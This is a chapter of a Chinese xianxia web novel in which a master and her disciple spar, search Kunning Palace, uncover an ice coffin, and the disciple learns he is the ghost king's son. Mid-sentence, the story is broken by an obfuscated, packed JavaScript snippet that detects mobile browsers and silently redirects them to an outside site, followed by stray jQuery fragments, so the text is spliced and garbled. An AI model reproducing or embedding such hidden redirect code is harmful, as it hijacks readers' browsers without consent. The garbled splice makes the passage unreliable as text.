37. 第 37 章

作品:《逢枝

    扶枝沉默,半晌才道:“以后不准这样,只有这一次。”


    “好。”桑瑀不经思考爽快地答应扶枝,还没等扶枝松口气,他又追问:“我答应师尊,那师尊此后也不要骗我,糊弄我。”


    扶枝有些心虚,正要开口骗他。又听桑瑀道:“师尊以后要是再骗我,这承诺便不作数了。”


    “你······”扶枝顿时无言,转念又想到自己从未答应他,眯着眼睛笑道:“为师只说你若是比赢了,为师才同意你去。可这不还没开始考验你吗?”


    话音刚落,扶枝放在膝间的手掌倏地向桑瑀的脖颈袭去,纯粹莹白的灵力贯彻掌心,速度快得只见残影。扶枝眼底浮现一丝笑意,这次输了可不怪她骗他了。可眼前黑衣人影一闪,桑瑀已然上了屋檐,正抱胸含笑瞧着她。


    桑瑀戏谑道:“师尊使诈啊。”


    扶枝脸颊一热,语气生硬道:“兵不厌诈。”


    “师尊说得对。”桑瑀悠悠道,扶枝只觉不对,直到一阵微风拂过耳畔,她骤然转身,手中长剑顺势挺起。白光碰撞间,剑身一颤。余光处的一抹黑影已然化作青烟散去,扶枝蹙眉,“你还使用幻术!”


    “是师尊告诉我的,兵,不,厌,炸。”少年的声音在耳后响起,就见一身形修长的黑衣男子弯腰贴近扶枝耳后,眼眸含笑。


    扶枝只觉这徒弟是来克她的,手边长剑向上一甩,另一只手往身后拍去,晃眼间扶枝立于长剑上。她嗓音淡然说道:“没掩气息,暴露位置了。”


    “弟子受教。”桑瑀微微勾唇一笑。


    许是好久没这么畅快地打这么一场,扶枝手边的长剑挥动的速度逐渐加快,动作更是迅捷异常。让她更惊讶的是桑瑀的修为几乎到了化神阶段,幻术与剑术相结合,自成一派。


    扶枝只是出神一瞬,桑瑀手中长剑已然抵在她的脖颈处。


    “师尊怎么走神了?”


    扶枝向外走去,心头突然恶趣味作祟,“······在想我们阿瑀修为深厚,也该出师了,过些日子我再寻两个相貌好的做徒弟。”


    “师尊!”身后的人站在原地,沉着脸看她,语气不善道:“师尊要是收了两个徒弟……就再也吃不到我做的饭,我酿的酒了。”


    扶枝噗嗤一笑,“算了,为师也没精力。”


    “师尊可别糊弄我?”


    “真的不收徒弟了。”


    桑瑀的脸色终于缓和下来,恶劣道:“就算师尊真的收了徒弟,我定是要打得他们练拜师宴都不敢去,慌忙逃走。”


    扶枝沉默,桑瑀估计真能干出来这事,她连忙道:“不是说要去皇宫看一眼吗?还站在这里干什么,走吧。”


    “师尊同意了?”桑瑀笑嘻嘻道。


    “我若不同意,难不成你就不去吗?”


    “当然还是会去的。”


    扶枝听罢,嘴角一抽。


    /


    月光洒落在树叶上,各个宫殿前的侍女护卫昏昏欲睡,额头渗着一层细汗。扶枝警惕地查看四周,脚步极轻的迈入坤宁宫内。潜入宫殿这种事的经验多了,扶枝行云流水地打晕护卫后,顺利进入坤宁宫。身后猛地被人一拍,扶枝一惊,就听桑瑀道:“谢季青不再宫里,寝殿里的就是幻术化出的人形。”


    扶枝松了一口气,顺起桌案旁的琉璃盏,微弱的烛光亮起。二人顺着坤宁宫四周观察,这里的陈设安排很是奇怪,据宫女说,先皇后过世已久,谢季青没再立过其他妃子为后。这坤宁宫没人住,自然是冷清空寂。而面前的桌案上摆放着一支浸着墨的笔,榻旁的屏风后搭着一件雪白的寝衣,一看就是有人居住的样子。


    怪就怪在窗户被死死封住,银白的月光一点也没渗进来,更有铜镜旁摆放的一株不合时节的白梅。


    扶枝敛下神情,伸手拿起铜镜,摸上它的背面,并没有什么莲花纹。


    “铜镜?”桑瑀若有所思,“师尊是要找时镜转吗?”


    “嗯,你如何知道的?”


    桑瑀也不知自己是如何知道的,许是曾经偶然间在哪里看过,只是笑道:“曾经偶然间在一本书上看到过,背面应当是刻有莲花纹的,我帮师尊一起找吧。”


    扶枝怪异地瞧了他一眼,这时镜转是上古神器,知者甚少,许是桑瑀自小经历多,见识多写。扶枝将奇怪的感受压下,只道:“好。”


    听乌迁所说,在时镜转可根据持有者的意愿幻化出过去的模样。而坤宁宫一副有人居住的模样,也是时镜转的缘故。二人仔细查看周围,扶枝摩挲着床榻上的寝衣,面料舒适,可细细看去却能发现有些发灰。


    扶枝的目光微沉,电光石火间,脑海中突然划过那株白梅,立刻转头看去。青玉瓷瓶上的白梅花瓣宛若玉片,轻盈舒展着,嫩黄色的花蕊探出,温柔又美丽。整个坤宁宫里,只有白梅旁最真实,旁边铜架上的发簪流苏隐约还在晃动,似是女子刚刚卸了钗环,摆放上去的。


    她走上前,观察白梅连同青玉瓷瓶。桑瑀干脆地拎起瓷瓶,扶枝一愣。


    桑瑀将瓷瓶微微一转,瓶底显在二人眼前,扶枝瞳孔一缩,眼前赫然出现的一面形状诡谲的莲花纹。


    她下意识朝后退后一步,这莲花纹透露着一股诡异。明明是同样的莲花纹,乌迁手中的时镜转上莲花纹是纯洁圣明的,而面前的恐怖又诡异。


    桑瑀将瓷瓶拿远,撬开底面的时镜转。他按住背后的莲花纹轻轻一转,细微的光亮沿着莲花纹蔓延开,坤宁宫内的景象随着莲花纹渐渐变化,显出如今真实的模样。


    扶枝蹙眉,台上的白梅已然凋零,纯白的花瓣不再,干瘪的树枝孤零零地靠在瓷瓶上。扶枝转头看向屏风后,那件雪白的寝衣发黄的不成样子。而更为震惊的是,一旁的书架竟然变成一面暗门。


    扶枝上前按住上面的纹路,灵力催动下,用力一推。


    “轰隆”一声,暗门朝着两旁移去,一阵幽幽寒气散出,墙壁旁淡蓝色的烛火微弱,轻轻晃荡。


    扶枝二人朝里去,里面空旷至极,中央摆放着一座冰棺,正不断往外流淌着寒气。扶枝上前扫了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697664|189037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼,冰棺中的女子长相标致,皮肤白皙,也有可能是被冰棺冻的。


    扶枝淡淡道:“这应该就是先皇后了。”


    桑瑀并不在意,拿着琉璃盏观察周围,他感受到了一丝浅淡的鬼气,然而与往常不同的是,他的心脉及其躁动,心口蓦然一阵剧痛,眼前几乎一黑,他抬手用力按去。


    扶枝见状,立刻上前担忧问道:“怎么了?”抬手感受他体内的状况,却什么也没有。


    她立刻往他胸口注入灵力安抚,半晌,阵痛逐渐散去。桑瑀指着门缝道:“这应当是一扇门。”


    扶枝没动,只是重复问道:“到底怎么了?怎么回事?”


    桑瑀蹙眉,猜测道:“估计是我有一半的婴鬼血脉,越是靠近鬼王帝婴,可能被压制吧。”


    “早知如此,就不同意你来了。”扶枝后悔道,眉尖微蹙。


    “那可不行,弟子不管如何都是要跟着师尊的。”桑瑀笑嘻嘻地反驳,“再说,师尊不是也查过了吗?也没什么问题。”


    扶枝不理他,看着面前的那石壁,拎起长剑挥去,石门显现,下一刻就哗啦哗啦碎了一地,满地的碎石看起来好不惨烈。扶枝尴尬地耳后一红,劲使大了。本以为修为只恢复半成,所以用力了一些,没想到这石门如此不堪,轻轻一碰就碎。


    “师尊真厉害。”桑瑀在身旁鼓掌道。


    “······闭嘴。”扶枝小心地朝里走去,她明显感受着帝婴的气息,不过极淡。


    帝婴果然离开了,扶枝心头涌起一阵愤怒与痛苦,当年白薇拼尽修为性命,落得魂飞魄散的下场,可最后还是让他躲过一劫。


    身旁的桑瑀心头的阵痛再次汹涌袭来,面色有些发白。可眉心却是一阵灼烧,他就着手里的时镜转看清脸庞,瞬间瞳孔几乎缩成一点,眉心竟然浮现一抹鲜红的印记。


    像是藤蔓一般沿着火点朝着周围长开,形状狰狞,额头周围被灼烧得发红,这是鬼王印。


    红得滴血的鬼王印明明白白地告诉他,他不是普通的婴鬼血脉,他是鬼王帝婴之子。胸口的阵痛根本不是鬼王的震慑与威压,而是父子血脉连通的证据!


    胸口的剧痛让他清醒,明是烈火灼烧之痛,可桑瑀却觉得从心口自内而外散发着寒气,连着骨头缝仿佛是被冻住一般,动也动不了。


    扶枝敛下情绪,余光却不见桑瑀的人影。回头一看发现桑瑀正背过身去,微微弯着腰,手似乎按在胸口上,不禁问道:


    “阿瑀?你怎么了?胸口又疼了吗?”


    桑瑀整个人几乎钉在原地,指尖不自主地打颤,恐慌袭上心头。


    不能让师尊知道!


    不能让扶枝知道他的鬼王帝婴的血脉!


    师尊是最痛恨鬼王帝婴,若是让她知道了,定是要惹她厌恶的,他不敢想象扶枝冷漠厌恶的眼神。


    身后淡雅舒适的气息逐渐靠近,“为师先带你出去吧。”轻柔的嗓音传入耳中。桑瑀深吸一口气,颤抖着指尖按在额头上,下一瞬,额间血红的印记消失。